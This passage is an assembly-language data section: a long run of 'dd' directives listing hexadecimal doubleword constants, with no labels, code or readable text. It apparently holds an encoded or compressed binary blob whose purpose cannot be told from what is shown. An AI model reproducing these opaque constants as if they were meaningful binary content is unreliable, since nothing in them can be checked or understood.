0C03004B1h, 14D5CC8h dd 0E48A96FFh, 0F4C68C68h, 0D4005FB4h, 818DC5ABh, 9A4E67h dd 4AA0B6D8h, 0D1D0EA70h, 987DDE7Ah, 5C6DAC06h, 11DFD7h dd 5650639Bh, 89DA72F5h, 0B6ED8F00h, 1C437126h, 128C0038h dd 607B9DAEh, 0A700F352h, 2C052858h, 7EDAC203h, 42A61EA2h dd 6DB50EBAh, 2843CAE0h, 64007918h, 0BD5D745Ch, 0E1676Eh dd 46B3B890h, 5575CAEAh, 3C2D0509h, 737C00DFh, 0E667E5h dd 6541D5BCh, 0CC2A9DCAh, 59F29400h, 9290FA0Ah, 0DDDA015Fh dd 0C3E65167h, 7E1CF085h, 0B0B11503h, 0C81496E1h, 0D21F8Ah dd 0CA478F48h, 4E99DADDh, 1C7ED300h, 71819DB0h, 6003013Ah dd 0DC6DBE7Bh, 0BBC9F067h, 0C0B15626h, 0D21FF31Fh, 4AD63FC0h dd 647F162Ch, 86A6B0BAh, 0D0C0B082h, 1C24E53Bh, 0ED9405A1h dd 80DE5Dh, 0EE5E30C4h, 3C188B54h, 0E6806004h, 7C583B97h dd 0E366FA01h, 20CFA3B5h, 0E7062D60h, 4675FDF3h, 0C1CA0011h dd 1C301239h, 0CE0E2510h, 0A7852A36h, 0AE00215Bh, 4DCC0EA5h dd 520088A1h, 0C51D7BB5h, 89584745h, 26D80028h, 91D96810h dd 0A89A76h, 0C20B3F7Eh, 15274BC1h, 0DCC41F01h, 6E2F66ACh dd 7A5D8440h, 34CF3DC5h, 0FA87CACh, 76206A8Ch, 1AD7F96Fh dd 0D0C16D32h, 7714C6C3h, 19CD60EFh, 7E502729h, 3C1EC500h dd 832210Fh, 91641D6Fh, 372440A2h, 0E0FECD0Ch, 0D81BD618h dd 140BC239h, 0F0908168h, 0D9C0AF00h, 64B17EB6h, 7F506F00h dd 0EE8EB412h, 857100E2h, 0C0CF4D32h, 8D7F1BCCh, 74B34A00h dd 0CA89DC97h, 8EB700AAh, 780B1265h, 0AEFEB60Eh, 19B05700h dd 34F8D2ABh, 189899h, 0CB1C3D54h, 0C2F492C5h, 5D211F04h dd 48C020DAh, 4515CCh, 77AD0CA3h, 3D2A0847h, 0CD6B8001h dd 322C8EABh, 19E6C8h, 0BE0CE0Ah, 0E479C5B1h, 6A02B407h dd 54A05285h, 395113C3h, 0AB0093DAh, 3F12C297h, 0BA00A39Bh dd 0FE9AA078h, 49C77CE7h, 4700985Ah, 5C7EB942h, 1A0B112Dh dd 64D3F4h, 0A5BFB45Fh, 22381FE7h, 0EC6F86C4h, 8D3B4095h dd 962507F4h, 92E7F859h, 0B1B25190h, 0F2982AD6h, 0C9E202CFh dd 9B24FF19h, 449A0C48h, 401FD174h, 29C110E4h, 9121C8CCh dd 1EB9FCh, 7D1480F9h, 68B28ADFh, 0BB72C539h, 437B0F41h dd 3420C0B8h, 0E22E0A9Dh, 363012D6h, 5D940074h, 98313988h dd 101EECA3h, 0B03E3860h, 39D82122h, 554F1CC9h, 29BD406Dh dd 0A38BDB91h, 2F047300h, 0DDB89F21h, 8D9600B3h, 0BD237684h dd 74399BD3h, 0DCFA83E0h, 0C1195C07h, 508E6245h, 5E875B1Ah dd 30EFB0ADh, 940266F5h, 781B12C5h, 576C600Bh, 8050F59Bh dd 0DED85818h, 20ED01A0h, 8111B3F6h, 0FFEFA438h, 1041541Bh dd 1C409F57h, 78E316h, 6166BC70h, 0E3799D6h, 50D51D07h dd 4FA712CDh, 1B96A291h, 0B8DDC4h, 0E263580Ah, 0D41E6D82h dd 430CC502h, 686F3F2Bh, 768C22Ch, 98B2DE1Ah, 7A69101Ch dd 35002E0Eh, 0AD9438AFh, 0E1728C8h, 218370A1h, 22EE6183h dd 0F1A36DABh, 0BEF849E1h, 0DC5D0008h, 57C8ED78h, 0AF690059h dd 2EE30D17h, 4600B613h, 6185A882h, 3B204CA6h, 3600582Bh dd 5E6FDCEDh, 0E33C5F86h, 70411E02h, 0A7D42E04h, 0BAFD4EC0h dd 6BC30098h, 4424C2FFh, 2000F283h, 0B802A7DDh, 390B2FDh dd 9F0379BCh, 0B6D024C7h, 68DCBDB1h, 86BA3E8Eh, 36A9EC4Ah dd 0C07C6D01h, 7D1B3B03h, 0C0CE2A29h, 0F8979209h, 7A7C0026h dd 9FC394D8h, 0C9F81645h, 0E1FD9F8h, 36C07D17h, 70D1532Ch dd 8AEF06A0h, 40CC1BC5h, 8E73230h, 772B4C9h, 2AD893B1h dd 37E4819Ah, 426CE4BAh, 0A70020DFh, 33142634h, 960C0C1h dd 0B9BD1248h, 50DB1600h, 1C1ACC76h, 78CA2CD3h, 3E003FDEh dd 62D5B71h, 0B20FDD9Ah, 0A027D07Fh, 28A41EBAh, 9CD14CEFh dd 3307AA39h, 60F106B9h, 16143403h, 6E04A507h, 4660FE4Bh dd 0E683A8DFh, 32731861h, 9F2DB9F3h, 91014100h, 69A23FAh dd 8E1C00A5h, 54C240AFh, 3E6018EFh, 474892B1h, 0CBDB330Eh dd 1FA87711h, 43024EFCh, 79D47CC7h, 18A0A017h, 60490719h dd 8C0A1147h, 3F29448h, 0FB713B03h, 0F845FA90h, 0EEC343D1h dd 355F0018h, 3DED895Eh, 963DBC73h, 0F45035Bh, 0C0A4269Fh dd 3A8CC103h, 200F2B4h, 3723CE9Ch, 0F606673Dh, 66B97D6h dd 21D96908h, 0E4377483h, 969876F8h, 51883306h, 21E6B3h dd 0A040C3Eh, 1237168Eh, 0FD816B00h, 2EFE5F3h, 0C6863046h dd 94E1EE28h, 100DD900h, 48F278E6h, 0E408CCB6h, 8C00CB21h dd 46550BD9h, 0FA7B71EBh, 848064Fh, 70EE8721h, 7EA5B600h dd 0ACA66D2Ah, 47FC006Eh, 60718E26h, 27F01381h, 0D58D8403h dd 1BC6F170h, 609DBD88h, 34A9023h, 1019D990h, 8EA867D4h dd 0E9C08807h, 6FFE791Fh, 16D7D200h, 96AAE483h, 4048000Ch dd 0FB179A04h, 853470D4h, 8C4F70FFh, 9BFC26EEh, 0A0AF00B8h dd 881A7E95h, 0B90F7BF0h, 618C458Fh, 0F76A219Ch, 40E22981h dd 0D1811FA5h, 585660D2h, 21D108CCh, 0A54900B7h, 29B11046h dd 8D72B03Ah, 5F3C002h, 9DAAE999h, 46BBF0h, 44585931h dd 7B82E10Fh, 0C2EE16F1h, 29A6004Dh, 6FAE10FCh, 0F4D96600h dd 79F9498h, 24A500E0h, 74037B33h, 0F8E55B61h, 2F000608h dd 49856690h, 7D45D05h, 6C22F420h, 0AB602052h, 0FA7B428Ch dd 3C077B17h, 975B5100h, 17E601h, 42A7524Dh, 8C559A8Dh dd 0AFE1771Eh, 80FFF5C0h, 28663D2h, 3361E5B1h, 57614465h dd 0B955F0B6h, 0E2576000h, 23477BD9h, 3641008Fh, 0BAEAE5FBh dd 0C2003907h, 2C704EB6h, 3DFADA22h, 0A29E67B9h, 8DEE00E0h dd 63ACABDCh, 0F3BB600h, 25F2F56Dh, 6B230012h, 4964BF15h dd 0FD00EC96h, 440C8D3Eh, 1FA5A410h, 146DF84Ah, 0BA00FBE3h dd 940946FDh, 0CC098373h, 7A39D2Ch, 0F9F082D7h, 0DBB15Eh dd 3012A775h, 504ECB0Dh, 1C799600h, 4ACA8DF7h, 0A23537A5h dd 7C48058h, 0EC037334h, 2399D306h, 7608303Eh, 340FE921h dd 334EA718h, 83775F50h, 0A3519964h, 65340D60h, 1116EC23h dd 15E700BFh, 0D2F61034h, 3BCE632h, 0A17455B1h, 9E88417Bh dd 9C0E97B5h, 0A08E440Dh, 8DF5A2FDh, 0D84A00A4h, 6E0B626Ch dd 7E19C94Ch, 0E0085477h, 64B12180h, 13385562h, 42EC520Fh dd 0F7AD8315h, 0F950069Eh, 0C0AA802Ah, 0F2CA6E18h, 109239h dd 0C27D1269h, 1636BA5h, 0F1019890h, 4976520h, 95F87930h dd 5B2C0081h, 9F38EC21h, 2000ADE2h, 0F4DEF9EAh, 1B4005h dd 2F53E5A3h, 3E1E2178h, 14FE341Fh, 55A60E40h, 26031FD0h dd 6EDE10Ch, 4021D579h, 420A929h, 9DD218D4h, 0C97810E4h dd 19DA5F00h, 0ED032CB9h, 1E613E8Bh, 0D2FEFC00h, 0A8F373B8h dd 62649DF0h, 42211829h, 10CC1279h, 4886302h, 77278801h dd 0E3102089h, 390B4AF2h dd 792576h, 19AF8B1Fh, 0DEFF0112h, 0B2C2209h, 0A1DF7083h dd 615D3100h, 0D5F0DDD7h, 0FF4C3F02h, 8EF53500h, 0A22C4AD8h dd 0B236480Eh, 46BBA12Ah, 0F1807943h, 0CDBDF888h, 0E5EE0F22h dd 330AC1C0h, 0F39F2A7h, 1B0D0662h, 164B0132h, 0E47DB405h dd 3000FC86h, 0EF406BC9h, 0F74CAAh, 0DF3AC73Eh, 0A732D1D6h dd 0EA1C0400h, 392A4AAFh, 1B0637D9h, 8075A510h, 13283E66h dd 0B25C0C0Ch, 1F90A0h, 0DAA220A1h, 93E8C28Dh, 0D6F8BD1Fh dd 0AFE26D45h, 0FF7D92C0h, 0E55100A6h, 0C6345DDCh, 720E6685h dd 40C7ADC9h, 7C4C9E04h, 0EB7673h, 2808F8C4h, 989670DAh dd 3FBB1900h, 0B4C807A0h, 0C9380316h, 269E4F56h, 0F2289B88h dd 72D0B600h, 1FB9416Eh, 3A87005Dh, 45337B76h, 0B4004010h dd 567F20B5h, 74CEB09h, 365B174Eh, 0F318DCA1h, 4F0F7300h dd 11641618h, 803803A4h, 0D36C67Ah, 81C037E3h, 0F914BE52h dd 9C4FC16h, 804E1CA4h, 0D37CD6F7h, 0FA31E6FEh, 9EB100B4h dd 8C5EE439h, 5D017555h, 732A54DAh, 6B706935h, 447107EEh dd 0A00468D9h, 154BB6C9h, 1A6A2D05h, 0B88007D4h, 9081558Bh dd 3AC0F210h, 9283040Ah, 7137059Eh, 0DB50B3F0h, 2B266A09h dd 0D10020A2h, 77D0A8C1h, 8822CC0h, 0FADE0413h, 0AFC0804Ch dd 2F0003C2h, 6C7FA4B9h, 15B52Bh, 35F5BC66h, 4351B819h dd 89BE0D00h, 11DD0F41h, 0DE310063h, 200A85E9h, 0C60137C9h dd 4B3B4D12h, 0A4C88C82h, 0B147074Eh, 335159A0h, 22B8B5F3h dd 973EC58Fh, 555F80C6h, 67602670h, 2E3C0EE9h, 7DBE7Eh dd 1F8A3531h, 6800ACC6h, 0EC6A045Ah, 0F3C335Fh, 4AE211FDh dd 163023A0h, 0B03C3DFAh, 0A4C4127Bh, 0D07EFC0Ah, 8AD6B00h dd 0DC5645h, 0DCCD466h, 3EBCE415h, 8478903Fh, 5CF2874Fh dd 8048080h, 977D2Fh, 0A8FD5E76h, 4AF38FABh, 0A02C3400h dd 37AFE4E2h, 0F7FF2458h, 0D10780B4h, 45439AC9h, 1B6A5D00h dd 0DAB232AEh, 0D4200FB1h, 19202C9Bh, 496EFC23h, 1504ED01h dd 71D2E3E6h, 193CB4E8h, 4863251h, 177DD477h, 5B836400h dd 5ACDDC31h, 3820C57h, 1ADCF9B9h, 0CC134700h, 1CF3D07Eh dd 0AC773B0Ah, 0DF8A6B00h, 4BF4BB81h, 61F96300h, 0C0EE6CFEh dd 33FA00A3h, 5788850Ch, 5492528Fh, 8A50901Eh, 27604358h dd 152924B2h, 12E40088h, 0C789D004h, 0A8E19100h, 36166143h dd 0D2ED0179h, 0B87EDD5Ah, 0E9984055h, 5D3FF586h, 5464A4C9h dd 2A93B04h, 2FE6A000h, 2A24960Ch, 53004C69h, 0CF8E23FFh dd 63F0D9h, 7F1421A6h, 865C20E9h, 1490BA26h, 0AD00C41Dh dd 85E2BDB7h, 9A7B7B8Fh, 4DDEC074h, 0A80C59F7h, 8B08EF00h dd 5A02FEAEh, 0C7D10023h, 0A5C1BE74h, 9A4841FCh, 0FD770070h dd 18C648E4h, 2299003Bh, 1EE98ECEh, 0A300F7E5h, 0EB6E2EB2h dd 855570h, 1DCE5EAAh, 92861204h, 0FE0041F0h, 50A10572h dd 3E35EFD2h, 21008C2Fh, 4071A753h, 0CA00E785h, 6878970Ch dd 0F5BF8E6h, 0D4EBDED9h, 175A53E0h, 3F7D2625h, 0F2607624h dd 631DE803h, 40A6AA24h, 0F8FA225Ch, 575800DFh, 0C4885A6Ah dd 0B21EE87Fh, 0E2C01076h, 32211D71h, 3E877F23h, 0FC1F14B0h dd 0B280FCDBh, 97B6790Ah, 0BF04F03Bh, 0E06C3988h, 33245B02h dd 0D4A10h, 2516680Eh, 3861FAB7h, 1C3E7A03h, 0E5FB8B43h dd 0F3CCAE00h, 1AE36DEh, 0FC2AA9FAh, 0FFC09D7Dh, 0D697E0EFh dd 1E5027B2h, 0F70065B0h, 0E41DA690h, 1C13C137h, 26C0508Ch dd 6191000Ch, 6CCDA9CCh, 3203B600h, 8D8CD83Dh, 0C35E0071h dd 0A63E5FA1h, 54797837h, 6939DDF0h, 0DE2580ADh, 972E2679h dd 2A7840h, 7CCA10C5h, 0AFAEB305h, 4B50E500h, 45DC8FA8h dd 0D48B389Bh, 0D7991103h, 0C3B87F65h, 0EA00C1D5h, 80A4A12Dh dd 18AD8Dh, 8262FEE1h, 811B8CF8h, 0E8EE071Eh, 9A40BDDFh dd 2E3BE4CBh, 519002B1h, 0A183FAEBh, 5A8B4040h, 9E3C727Ah dd 2FF39CBDh, 3B71D582h, 2B7C57h, 0BF9B3314h, 907B931h dd 0B5EFA9F4h, 0A61A1D50h, 4D8B3897h, 0B380A88Fh, 3A8BB96Eh dd 0D38AE800h, 0A61D231Eh, 0FD9D2C0Eh, 0EA969400h, 3B4B84h dd 0C87A5DC5h, 26A057FBh, 0B840FD01h, 4298E8F4h, 0E393830h dd 5289E44Ah, 9CEC801Ch, 3F19B321h, 5E605002h, 800AAFFBh dd 88F9DD8h, 0D6D0002Dh, 2CD288CBh, 8900DD64h, 49575375h dd 4841E3E1h, 1603E861h, 35308A94h, 5AA838h, 1EDE737Bh dd 0B381E1h, 7995D94Ch, 58F26B5Dh, 0D3006FFAh, 0FC898A27h dd 3779CA6h, 25FE84AEh, 31B8F7D0h, 0AC00DE20h, 0B5395DDDh dd 8AFB3h, 0F9402724h, 0A83C7FCh, 0BE8A6F00h, 2E35EBB7h dd 0D5FA1314h, 0D6E80163h, 0ECF260EDh, 48FADA67h, 0B0F05F00h dd 0C7BFA9F8h, 0A8C800C6h, 0EA1FE3E2h, 45001DF9h, 9FD10DEEh dd 0CA3A25h, 0EDB08F65h, 5DE07FC0h, 0C8340701h, 44B6FA6Ch dd 76B6370h, 57EC5678h, 9469022h, 0CB1E74D2h, 0EB804CF3h dd 14DFFF61h, 0DE98001Bh, 926B47C8h, 811D4FC0h, 0D4EEB8B6h dd 0C0FCE196h, 0D393C500h, 0B58BD06Eh, 4991E404h, 82C14F01h dd 93F8B8AAh, 0B29000C9h, 0B5A83F68h, 0DC000A76h, 0B3FA8726h dd 4B8F4Eh, 0A6D72842h, 8488022Ah, 37DA2D2Eh, 789E1100h dd 0E86CFD7Ah, 5BF01462h, 0E703E425h, 0B1C212DAh, 0D8307CF1h dd 6A5CFE83h, 0DF0E00BCh, 4D6D1ABh, 790D5877h, 7682F400h dd 0DD80F7CCh, 5064C305h, 48C0F65Ah, 120B48A5h, 80CDC231h dd 14C871B4h, 0B44CCE7Ah, 0C74B03F0h, 65A107h, 4F69A11h dd 518B6A8Eh, 6F52ED00h, 77EC5569h, 3FF602h, 5F111960h dd 0B217362Bh, 82CC151Ch, 3DF0BBBh, 0C0A0A0A4h, 3C428ACBh dd 98008896h, 9024191Bh, 7A3C8558h, 9F9160E9h, 30FDBDh dd 0C2557EB4h, 0F27A8459h, 2BC10A9h, 0E42503ACh, 190E61A0h dd 0F81C3280h, 65B90049h, 6EDA767Dh, 9800C521h, 1D687FC8h dd 10BC5Dh, 0DDE1A2CDh, 8595A1A5h, 33546100h, 67F51D45h dd 863F00F1h, 59BEE019h, 0C01F5123h, 27CE9E57h, 0DE4B835Ch dd 219100D7h, 575E81E0h, 0A6E31D6Eh, 17807420h, 199585FCh dd 5E2A28DAh, 0BA21120Ch, 3070C1A5h, 0ABC899CCh, 61A858D0h dd 88CF007Ch, 0A57A59F8h, 0C318C2BDh, 39142845h, 0E17177h dd 0E7F551C8h, 69DBC504h, 2A660F1h, 947D0600h, 60D363C7h dd 0C3C90723h, 57495A13h, 0AC4D7017h, 6E00687Ah, 2E7F43B4h dd 0A1AF86h, 0C8529C6Ah, 38838B49h, 0EEAB4101h, 0B181A420h dd 0FC5DDF4h, 0CA1AA7BBh, 7B7A6320h, 0DE006709h, 1022BE73h dd 0A5E0B3h, 0D24AC06Dh, 5D01C3DBh, 0E6722707h, 5A7342AEh dd 101174A4h, 0E5F9F6h, 40030AFFh, 92BD2Ch, 0A0EB5B6Bh dd 2F498DA1h, 94BED100h, 3BCF8245h, 8B71126Eh, 0C06E03B7h dd 0EEB84CDBh, 1FEE25C1h, 69D73E00h, 2162D49Ch, 77C7528h dd 20BF975h, 0FFB4C04Ah, 3503CDC8h, 9BE7B0DBh, 88929177h dd 0ACE5D4h, 4F4B3952h, 3E0951B8h, 89498200h, 0F05CE62Bh dd 0AA1700C8h, 24C2E86Eh, 2D0093FCh, 7FB89C20h, 0AE380Fh dd 14CB6C32h, 22EC282Bh, 5D965600h, 0D052348Dh, 838C007Dh dd 975F1EC9h, 0FD004714h, 3A0F06B7h, 0C7CFBCh, 0EA6CD53Bh dd 4B2DB211h, 9EC0F501h, 7B024979h, 32F13180h, 46411286h dd 5E520505h, 0A400E0CFh, 58DB9DCDh, 4528DF53h, 611844Ah dd 0A9B99978h, 0FBF22300h, 573DF360h, 56A81D33h, 305170F7h dd 1A80E671h, 0B01203E5h dd 0D033F364h, 0D30E817Bh, 8256119Eh, 80F1C571h, 905F038Ch dd 30920F67h, 80BEBF7Ah, 1E1F4F7Bh, 0C4D2ABCDh, 513A24E8h dd 88F93280h, 834720B7h, 5A89E601h, 0B60A8D05h, 0E5D05180h dd 1B2DB96Ah, 2AF3BD00h, 1470E289h, 46631291h, 8D51024Bh dd 0E1807D9Eh, 0A177B4D0h, 0DC1AC600h, 1FD57FD8h, 3C41B7C1h dd 0D7B4ECC0h, 0D0C49101h, 7F54A98Fh, 9083E4DCh, 0F3020024h dd 273289A5h, 41006586h, 0A35FE099h, 7349AA66h, 0F6DE041Dh dd 808D2A3Ah, 0A0F9D5F7h, 0E85F2D00h, 681C733Fh, 32FC0049h dd 0ADF2A644h, 2602AB8Fh, 7183E882h, 427C48D2h, 7CCF77C8h dd 58EE7CA9h, 102B0F0h, 8DB48C9Bh, 251E16C0h, 0A9384C2Ch dd 0B6F5E300h, 0D2E804h, 18142319h, 83794D39h, 672B4Ch dd 0E8108EC0h, 1A6DD9h, 6C20EF68h, 0C6F2D4B9h, 64972800h dd 45E68890h, 7D7F01A9h, 56E48CADh, 5734C894h, 1255100h dd 0E6F6176Ch, 0AE450037h, 85FA047h, 0C91D4BD6h, 7D8E8CCAh dd 307EA084h, 75E92E10h, 68141250h, 0F5180070h, 4C6AFF2Bh dd 0EBDD9E00h, 0D4C6C4CBh, 171D98B7h, 541FABh, 5027F77Ch dd 0F6F2708Fh, 5F0EBF00h, 1BC0DCEBh, 99F13E17h, 0C6CAF080h dd 33773ED0h, 0D0D3C92h, 388E3679h, 2564DF4h, 0F9FC131Eh dd 6C407C18h, 89396E86h, 0DCAE006Ch, 0D1A5568Bh, 0FD770F1Fh dd 91003B07h, 0FB68EC1h, 11ADC712h, 59727443h, 0C0B4EAh dd 0C0678D10h, 31813D51h, 6D003E75h, 415A568Ah, 1BD29Eh dd 273FBCBAh, 70DDC59Dh, 65104D13h, 0FC3A050Fh, 0B46F5581h dd 91E4EC95h, 84ED00FEh, 4ED7A842h, 0A700B1BFh, 43F6B89h dd 2C5F5BC1h, 2A048h, 0B4CF47D7h, 6126404Fh, 31E9C2Ah dd 6789440h, 138E1C71h, 20C7F44Ah, 0AC2BAE78h, 0B582E76h dd 0D0C300EBh, 60E3BF44h, 384A1810h, 834F3881h, 9D8E1338h dd 0C0806FDFh, 0CA90ACB2h, 4B5D0C69h, 0CF280A3Ah, 21052300h dd 1D932603h, 541103A4h, 0A07FD2AEh, 91831100h, 0A27E97A7h dd 6A7FDEh, 4A463A5Fh, 693256B1h, 0F4EF1A00h, 27E9F1C2h dd 0A3C93928h, 0F3160EFCh, 1227070Dh, 0CF3BD0E6h, 0BA48A8FBh dd 258800C7h, 8D384278h, 0E58A0044h, 0D5599C9Eh, 0FB0051F0h dd 4E8153DCh, 0B8EF5DF5h, 0E0C8547Ch, 12BF0719h, 0C2B2787Fh dd 14481C63h, 527803AAh, 889D5630h, 0BADF0h, 0A2A5AE5Ch dd 9AA75B8Ah, 0D8EEBE30h, 3C82C4A8h, 170096C9h, 39DED0FDh dd 0F40E7881h, 38D1E3ACh, 6A22078h, 0CCD50136h, 0C4005859h dd 2C48E330h, 9ABD0712h, 1AED09C8h, 4700A134h, 478AFF2Ah dd 8D265B70h, 76007CD6h, 172137FEh, 0F296006Dh, 22DAB6B9h dd 580097CAh, 5CA07E30h, 0B0C1B4Fh, 6C85A921h, 0E6F38055h dd 169D65B3h, 1826BAh, 2E8160ECh, 980C90B7h, 19F01CCFh dd 7DC20416h, 902D3124h, 1358B7D4h, 0AB737773h, 0FD117903h dd 8016EFB3h, 5A3B606h, 54336A14h, 388780FFh, 46067AE6h dd 10BBE22Bh, 5E8F0FF0h, 3340D982h, 680DDC3Ah, 4CB338h dd 0FE6C3B5Dh, 50DF35C8h, 0C5AC19h, 10A69453h, 1EF7F31Ch dd 3CE70201h, 67DF2176h, 78E93C20h, 0E3263F2Dh, 485710E6h dd 2F15D201h, 870B91F4h, 3EF9920h, 29195D8Eh, 37F8C6D0h dd 0B5702D38h, 0A4164828h, 950E7E00h, 824F4AF8h, 0D5DB005Eh dd 0EB1C49BDh, 7907BA04h, 6BE3FD0Dh, 0B1140110h, 634B007Fh dd 6EC65F95h, 0F7B050Ch, 1E57A130h, 9EE5CAEh, 4D54B43Eh dd 0B2BB2C20h, 0FC006C41h, 0B76245A0h, 940472h, 0CBE903A7h dd 771078B4h, 0B900D892h, 5A54F737h, 797AEA0h, 4B75E1F2h dd 593A406Eh, 0C5006C8Dh, 7693EF87h, 1AC350Ah, 716809C9h dd 0FDAF960Dh, 0EC20C0C2h, 222AAE03h, 90F2B29Eh, 0CDF07Fh dd 8D619604h, 0FE7CA193h, 0E7EBB303h, 9898E2ABh, 486D3178h dd 92002F23h, 7DB3F165h, 2003CBB5h, 0C3DA24Eh, 3A52C0D8h dd 80C16449h, 0DAC90E1h, 700014B4h, 835355FEh, 0CB6D50h dd 0FC64E19Ch, 67F8C0B3h, 0F3A6D000h, 0D7CE6B9h, 0B80FFAABh dd 621400B8h, 0B02F4799h, 6B03958Fh, 76C7DDF6h, 616100E2h dd 0ECF8DB7Ch, 94015480h, 505613CCh, 9864A0E3h, 48DB5D39h dd 0C2740079h, 0CCAC5647h, 0E948AAFBh, 18C078B4h, 6F75F322h dd 29BB03A0h, 7739F950h, 0D9EFDFC0h, 504D8737h, 0F2BB8081h dd 0F2C70A0h, 3059C8EFh, 355AD81h, 0BC40C2A8h, 0EE602B6Ch dd 5EE3E7A9h, 0EF1EEA3h, 0DBFB903Ch, 0C1FF9525h, 402FF21Fh dd 75602558h, 98F9C383h, 7470E380h, 0F3680092h, 44F6A02Ch dd 0C800AAE8h, 4C32E4A8h, 38CFD8h, 8AD6D0C7h, 0F28D29F1h dd 1160F494h, 0CC331Ch, 908F8E45h, 849ACB73h, 9F281600h dd 0A6FB08B9h, 0A8B0096h, 24397A02h, 0DD1EBA66h, 9E3F720Fh dd 99004919h, 0BEAEEFF5h, 0B5C43B9Ah, 9CAA6800h, 0BADDDC8Eh dd 79A24800h, 0AF9ADBD6h, 3D83008Dh, 4B71AAAEh, 0DF00E2EEh dd 7CE11F93h, 0E796FAh, 81F68C8Dh, 9F776647h, 8459082Ah dd 0BCBC953Dh, 5851006Fh, 81F393E1h, 0D89A12FCh, 680020F8h dd 0C400EF7Bh, 0CB6914E9h, 306725FBh, 2C20839Dh, 0A00E4F36h dd 0E0E2599Eh, 41955F74h, 0E697002Eh, 5780A854h, 0F304210h dd 0C9E179A1h, 0FD7CFCh, 6ED7F17Eh, 0ED5DA8F6h, 27EA7400h dd 0F0675E55h, 92CD0078h, 0D1F825E4h, 892C46B7h, 3D02C3h dd 704D3E80h, 759B6BD6h, 23DA0058h, 9A6975FFh, 0E7615A5Eh dd 2F2035C1h, 9710682Dh, 0BE0900E0h, 813C9A59h, 0EB0A007Dh dd 0F3ABB516h, 71002864h, 416552DDh, 0F21F1h, 0A7BC5AFCh dd 0CB1470C8h, 6DC23300h, 0E7BDD0Ch, 55840052h, 0A7503DBAh dd 9A688030h, 86570411h, 1039A05Eh, 0ED77E200h, 0C15202A8h dd 0BC7D43h, 12338CC9h, 39375D7Bh, 0E1559806h, 2029ECA8h dd 67753DC5h, 737C4200h, 916CB58Bh, 56DB04DDh, 80C929B7h dd 3B867FC0h, 0D3005976h, 0C8502622h, 72FA95h, 2A0F433Dh dd 0FF01B5A3h, 241B3Ah, 2C3ACE83h, 4A3B90h, 0B2CDF89Ah dd 0BE9CF8Dh, 45E35700h, 0CB41B5FEh, 0D6261C07h, 5A7801EDh dd 60C5FF40h, 300C8ADh, 790DF62Dh, 0D63DE9h, 0B80BEA99h dd 5A8623F5h, 3A8F9A00h, 24A34484h, 0AD2C01A0h, 0C5F8FBF1h dd 8FE44057h, 27E9477h, 80450E3Ch, 0BE92AFBFh, 603D4AECh dd 558BD8C5h, 371C6749h, 4E45D0B7h, 0B0003C16h, 0AA2456ACh dd 0BB4D1FBFh, 61DF65h, 5A2E2666h, 0E9000BDBh, 0B58D6CE7h dd 8050D5h, 13D5710h, 4EC1A097h, 247B4300h, 0CA4793E5h dd 13360329h, 78491BBCh, 45F16A00h, 560950D1h, 8E590BC5h dd 92809084h, 0EA6A39FAh, 916BA100h, 94E6CD63h, 0FDF700B4h dd 43ECC43Dh, 4900698Bh, 3928E8DBh, 1D351E9Eh, 520AF6h dd 5EEDAD15h, 8E125842h, 18007B64h, 0AA43568Ah, 37EA59h dd 0E035282Eh, 0D123FE44h, 10CE7400h, 0ADBFE502h, 9140080h dd 0E08871A9h, 4E07BD1Dh, 0EA130BAEh, 7B5904E0h, 73460078h dd 25FA8E7Ch, 0F0005C4Fh, 974C5233h, 38D710Ch, 0DFFFD20Dh dd 3ECF443Eh, 62302A1h, 0B1020C5h, 7F4ED300h, 0CA0328F5h dd 5F6100C7h, 9C8E2214h, 66010740h, 2049785h, 0ADF9E96Bh dd 26AB806Eh, 380135ACh, 54401EA5h, 0DEC878BAh, 75EF001Fh dd 0C21A06ADh, 47003C88h, 38A1572Eh, 275F24DCh, 0C2E1218Dh dd 39C5DCA8h, 342B5502h, 0E0F943E3h, 0C03503Ah, 1B02A54h dd 83009178h, 472C58EBh dd 67CA1312h, 57CC1803h, 0D43A5018h, 0AF01A453h, 0ECC287DFh dd 3ED45F6Dh, 0E8CC607Eh, 56FF370h, 0C0F04A5Ah, 6A3100EAh dd 0D1CB4EE2h, 0A202AFC1h, 0E7E5862Ah, 43E8403Ah, 0B1F5009Fh dd 0E9782FB5h, 0A0011445h, 6C651C7Eh, 0CFE83D9Dh, 9FC5005Ch dd 0AACA8B3Eh, 70038F93h, 94EA0C84h, 0E81000ABh, 0DA31B4B8h dd 2A13F2EEh, 20407647h, 0A8E5BC5h, 0F3720045h, 9CF02D1h dd 0EE0E159Dh, 29923C70h, 5306805Bh, 0DFA1EDh, 7B9FA769h dd 0E1F05545h, 0C8C78F0Ch, 0D91174h, 229C2063h, 4D0AA878h dd 6FCB2B00h, 59052C3Dh, 58350133h, 60B1D7F2h, 0CFF72076h dd 1E1BD009h, 19B80056h, 13459D55h, 9E403h, 3BB1EE00h dd 5800AF7Ah, 57247897h, 4F27F2h, 5AA83821h, 6CAA827Dh dd 18EC8B0Ah, 0D71D9022h, 0B500A192h, 49FAE820h, 611F0015h dd 1BD28A6Ch, 9A005EB4h, 0F03C982Dh, 87998Fh, 539DD6A5h dd 78136B7Bh, 6E1CC8EAh, 9EC7F291h, 791027F6h, 0FBD30A9h dd 0B0AB1D8Fh, 437AEC85h, 0E2DA02D8h, 0F9812BD8h, 0FB00E6E4h dd 0A75D11EAh, 754CE053h, 9F11C17h, 8685C75Fh, 0F7519039h dd 0A600A32Dh, 0F8941B60h, 1470BC9h, 252CF585h, 0E0CAF040h dd 0C301BF20h, 0BBE3B08Fh, 7020A45Ch, 98228C0h, 0B69000A5h dd 60362369h, 80A0525Fh, 0DA002BDDh, 29F5A07Eh, 668882h dd 0F6708117h, 5667B605h, 0E711F226h, 8E13DB07h, 809E04F2h dd 54D10DD8h, 2EDF0369h, 9C22C801h, 1ED21801h, 81A18B0Ch dd 0C1B430h, 60BE3A26h, 8D351FF7h, 9A3C4400h, 376F52CEh dd 67720ED6h, 88C00CF8h, 16B31114h, 448A6600h, 0FF516A63h dd 49209877h, 9203F880h, 3809F9F2h, 0FE745AA8h, 521FA61Fh dd 0F440AAC0h, 0E2B934h, 0CA6F7F1Dh, 515A55EBh, 0DB000579h dd 0B047DDD9h, 78E49Bh, 3A7EDE2Ch, 0AAF7607h, 75D63800h dd 5B171FA0h, 8C9C0049h, 1C91E127h, 0C1387389h, 477700DFh dd 0C7E4AD81h, 4DD20053h, 11F9E5ECh, 84E2E27Bh, 0CCD4C000h dd 2C4C262Ah, 80E30330h, 0FAFDAF72h, 97B977F8h, 6DE9291Ch dd 0D9230380h, 7AD0ACC7h, 9E7B0B14h, 0E02E9D5Ch, 0C5B76DE0h 